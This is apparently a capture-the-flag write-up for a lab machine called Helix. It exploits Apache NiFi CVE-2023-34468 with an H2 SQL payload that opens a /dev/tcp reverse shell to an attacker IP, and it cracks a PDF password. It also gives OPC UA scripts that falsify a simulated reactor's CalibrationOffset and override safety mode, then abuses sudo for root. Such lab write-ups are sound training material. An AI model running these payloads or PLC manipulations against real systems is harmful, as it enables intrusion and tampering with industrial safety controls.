Enumeration

rustscan -a 10.129.33.25 --ulimit 5000 -- -sC -sV -T4 -oN nmap_result.txt Analyze the nmap results

• 22: Standard SSH port
• 80: Running a static website

Virtual Host

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://helix.htb/ -H 'Host: FUZZ.helix.htb' -ac Found flow Opening the website reveals a WebApp and its version: NIFI 1.21.0 In Apache NiFi 1.21.0 and earlier versions, the most notable security vulnerability is CVE-2023-34468. This vulnerability allows an authenticated user with permissions to configure Controller Services to achieve Remote Code Execution (RCE) by forging an H2 JDBC database connection string.

Exploitation

A one-click shell script created by Al3xx-sec. Below is the manual process. Step 1: Create and enable a Controller Service (pwn_cs). Right-click the canvas and click “Configure”. Configure the added Controller Service:

"Database Connection URL": "jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;" "Database Driver Class Name": "org.h2.Driver"
"Database Driver Location(s)": "work/nar/extensions/nifi-poi-nar-1.21.0.nar-unpacked/NAR-INF/bundled-dependencies/h2-2.1.214.jar"

Step 2: Start an HTTP server on the attack machine to host the payload. Open a new terminal, create rce.sql:

cat > /tmp/rce.sql << 'EOF'
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(
        Runtime.getRuntime().exec(command).getInputStream()
    ).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.16.82/4444 0>&1');
EOF

cd /tmp && python3 -m http.server 80

Listen for the reverse shell:

nc -lvnp 4444

Step 3: Create an ExecuteSQL Processor. Configure the Processor:

"Database Connection Pooling Service": "pwn_cs", "SQL select query": "RUNSCRIPT FROM '\''http://10.10.16.82/rce.sql'\''"

Finally, start the Processor to trigger the RCE.

USER

The operator’s private key is found in the support-bundles folder.

Two key files are found in the operator’s home directory:

• control systems diagram.png
• Operator Control & Safety Guide.pdf The PDF is an encrypted file.

First, use pdf2john to extract the hash:

pdf2john 'Operator Control & Safety Guide.pdf' > pass

Then use john to brute-force it:

john --wordlist=/usr/share/wordlists/rockyou.txt pass

The password is obtained:

operator1

Subsequently, the PDF is successfully decrypted:

qpdf --password=operator1 --decrypt \
'Operator Control & Safety Guide.pdf' \
guide.pdf

Or:

pdftotext -upw operator1 \
'Operator Control & Safety Guide.pdf'

OPC UA Information Disclosure

The PDF leaked:

• Reactor control logic
• Safety Trip conditions
• Maintenance Window conditions
• CalibrationOffset behavior

And provided OPC UA related information:

opc.tcp://127.0.0.1:4840/helix/

The document mentions:

• CalibrationOffset
• Mode
• TestOverride
• Maintenance Window

This is crucial for subsequent exploitation.

OPC UA Enumeration

Connect using asyncua:

pip install asyncua

Write an enumeration script:

import asyncio
from asyncua import Client

ENDPOINT = "opc.tcp://127.0.0.1:4840/helix/"

async def main():

    async with Client(url=ENDPOINT) as client:

        objects = client.nodes.objects

        children = await objects.get_children()

        for child in children:

            browse = await child.read_browse_name()

            print(browse.Name)
            print(child.nodeid)

asyncio.run(main())

Discovery:

Plant
NodeId: ns=2;i=1

Indicates the business logic resides in:

ns=2

Complete PLC Structure

Continue enumeration:

Plant
 ├── Reactor
 │    ├── TemperatureRaw
 │    ├── Temperature
 │    ├── Pressure
 │    └── CalibrationOffset
 │
 ├── Safety
 │    ├── RodsInserted
 │    ├── EmergencyCooling
 │    └── TripActive
 │
 └── Control
      ├── Mode
      ├── TestOverride
      └── ResetTrip

Key NodeIds:

CalibrationOffset Vulnerability Analysis

In the documentation:

CalibrationOffset introduces controlled bias

Explanation:

CalibrationOffset

Essentially represents:

Sensor calibration offset

rather than:

Actually heating the Reactor

Write a test script:

import asyncio
from asyncua import Client

ENDPOINT = "opc.tcp://127.0.0.1:4840/helix/"

async def main():

    async with Client(url=ENDPOINT) as client:

        offset = client.get_node("ns=2;i=6")

        raw = client.get_node("ns=2;i=3")

        temp = client.get_node("ns=2;i=4")

        for i in range(1,16):

            await offset.write_value(float(i))

            await asyncio.sleep(1)

            r = await raw.read_value()
            t = await temp.read_value()

            print(f"RAW={r}")
            print(f"TEMP={t}")
            print(f"DIFF={t-r}")

asyncio.run(main())

Result:

Offset = 12

RAW TEMP = 283
TEMP     = 295

Explanation:

Temperature = TemperatureRaw + CalibrationOffset

whereas:

TemperatureRaw

remains unchanged.

Vulnerability Essence

This is:

ICS Sensor Calibration Vulnerability

i.e.,

Falsifying PLC read values

The system determines:

Maintenance Window

based on:

Temperature

rather than the actual value:

TemperatureRaw

Entering Maintenance Window

The documentation states:

Maintenance Window
≈ 295°C

Therefore:

await offset.write_value(12.0)

is sufficient to enter the window.

Complete script:

import asyncio
from asyncua import Client

ENDPOINT = "opc.tcp://127.0.0.1:4840/helix/"

async def main():

    async with Client(url=ENDPOINT) as client:

        mode = client.get_node("ns=2;i=12")
        override = client.get_node("ns=2;i=13")
        offset = client.get_node("ns=2;i=6")

        await mode.write_value("MAINTENANCE")

        await override.write_value(True)

        await offset.write_value(12.0)

        while True:
            await asyncio.sleep(1)

asyncio.run(main())

Linux Privilege Escalation

Check sudo privileges:

sudo -l

Yields:

(root) NOPASSWD:
/usr/local/sbin/helix-maint-console

Inspect the script:

cat /usr/local/sbin/helix-maint-console

Discover:

FLAG="/opt/helix/state/maintenance_window"

The script checks:

Current time < timestamp in maintenance_window file

If true:

systemd-run /bin/bash -p -i

Directly obtains a:

root shell

ROOT

With the Maintenance Window kept open:

sudo /usr/local/sbin/helix-maint-console

Successfully obtain:

root@helix